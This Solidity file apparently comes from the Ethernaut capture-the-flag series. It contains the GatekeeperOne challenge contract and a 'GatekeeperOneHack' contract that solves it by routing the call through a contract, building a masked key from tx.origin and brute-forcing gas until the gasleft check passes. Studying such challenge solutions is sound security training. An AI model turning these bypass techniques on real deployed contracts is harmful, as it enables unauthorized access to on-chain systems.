13-gatekeeper-one.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

contract GatekeeperOneHack {
    GatekeeperOne public curGatekeeperOne;

    constructor(address GatekeeperOneAdr) {
        curGatekeeperOne = GatekeeperOne(GatekeeperOneAdr);
    }

    function callEnter() public {
        bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
        for (uint256 i = 0; i <= 8191; i++) {
            try curGatekeeperOne.enter{gas: 800000 + i}(key) {
                break;
            } catch {}
        }
    }
}